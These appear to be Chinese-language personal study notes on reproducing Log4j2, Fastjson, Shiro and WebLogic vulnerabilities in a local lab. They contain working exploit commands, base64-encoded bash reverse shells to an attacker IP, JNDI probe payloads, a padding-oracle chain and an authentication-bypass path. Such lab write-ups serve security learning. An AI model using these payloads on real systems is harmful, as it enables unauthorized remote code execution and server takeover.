Java常见漏洞复现与利用
环境搭建
使用Vulhub搭建漏洞复现环境:
# 启动docker
service docker start
# 进入漏洞目录,下载镜像并启动
docker-compose up -d
# 查看环境
docker ps
# 进入容器
docker exec -it 容器id /bin/bash
一、Log4j2远程代码执行(CVE-2021-44228)
漏洞简介
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发。2021年11月24日,阿里云安全团队向Apache官方报告了该远程代码执行漏洞。
- 影响版本:2.0 <= Apache Log4j2 <= 2.14.1
- 漏洞类型:JNDI注入
漏洞原理
Log4j2提供的lookup功能下的JNDI Lookup模块出现问题。输出日志信息时允许开发人员通过相应的协议(LDAP/RMI)去请求远程主机上的资源。开发人员在处理数据时,没有对用户输入的信息进行判断,导致Log4j2请求远程主机上含有恶意代码的资源并执行。
JNDI简介
- JNDI(Java Naming and Directory Interface):JAVA命名和目录接口,提供一个目录系统,将服务名称与对象关联起来
- LDAP(轻型目录访问协议):开放的、中立的、工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息
- RMI(远程方法调用):机制能够让在某个Java虚拟机上的对象调用另一个Java虚拟机的对象的方法
漏洞复现
# 检测是否存在漏洞
访问:/solr/admin/cores?action=
利用dnslog:${jndi:ldap://dnslog地址}
# 生成payload(kali攻击机)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjMvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" \
-A "攻击机IP"
# 监听端口
nc -lvvp 端口
二、Fastjson反序列化漏洞
漏洞简介
Fastjson是阿里巴巴的开源JSON解析库,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
漏洞原理
Fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制:
- 基于属性(setter/getter)
- autotype类内容可控 = 可任意反序列化内容
Fastjson 1.2.24(autotype开启)
漏洞描述:处理JSON对象时,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。
# 攻击流程
制作反弹Payload → 开启HTTP服务 → 启动LDAP服务 → 监听端口 → 执行Payload
# 利用工具生成payload
java -cp fastjson_tool.jar fastjson.HLDAPServer 攻击机IP 1111 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjMvMjIyMjAgMD4mMQ==}|{base64,-d}|{bash,-i}"
Fastjson 1.2.47(autotype默认关闭)
需从缓存中调用类绕过,payload示例:
# 探针payload
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}
# 抓包后需更改Content-Type为application/json
三、Apache Shiro漏洞
漏洞简介
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。
Shiro 550(CVE-2016-4437)— 反序列化
加密过程:用户信息 → 序列化 → AES加密(需密钥key) → Base64编码 → RememberMe Cookie
解码过程:Cookie → Base64解密 → AES解密 → 反序列化
漏洞成因:密钥写死在代码里,攻击者知道密钥值即可伪造Cookie。
# 判断漏洞存在
回显包存在 rememberMe=deleteMe 字段
# 利用工具
https://github.com/feihong-cs/ShiroExploit-Deprecated
https://github.com/SummerSec/ShiroAttack2
Shiro 721 — Padding Oracle Attack
加密方式:AES-CBC,密钥随机生成
利用条件:需要登录成功获取合法cookie,利用Padding Oracle攻击生成恶意rememberMe字段。
# 生成payload
java -jar ysoserial.jar CommonsBeanutils1 "ping dnslog" > payload.class
# Padding Oracle攻击(耗时较长约1小时)
python2 shiro_exp.py http://目标:端口/路径 rememberMe值 payload.class
权限绕过(CVE-2020-1957)
影响版本:Apache Shiro < 1.5.3
# 绕过方式
访问:目标IP:端口/..;/admin
可绕过Shiro中对目录的权限限制,直接进入后台
四、WebLogic漏洞
WebLogic反序列化(CVE-2019-2890)
漏洞描述:T3协议在WebLogic控制台开启的情况下默认开启,绕过了反序列化黑名单。
# 影响范围
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
# 检测
访问:/_async/AsyncResponseService
出现 "welcome to ..." 即存在漏洞
WebLogic RCE(CVE-2023-21839 & CVE-2023-21931)
漏洞原理:允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏WebLogic服务器。
# 利用工具
https://github.com/4ra1n/CVE-2023-21839
# 执行命令
./CVE-2023-21839 -ip 目标IP -port 7001 \
-ldap ldap://攻击机IP:1389/Basic/ReverseShell/反弹IP/端口
总结
Java漏洞复现需要掌握:
- Log4j2:JNDI注入,利用LDAP/RMI协议加载远程恶意类
- Fastjson:@type字段未校验,配合JNDI注入
- Shiro:密钥泄露导致反序列化,Padding Oracle攻击
- WebLogic:T3协议反序列化,控制台未授权访问
本文为个人学习笔记,漏洞复现均在本地搭建的靶场环境中进行。
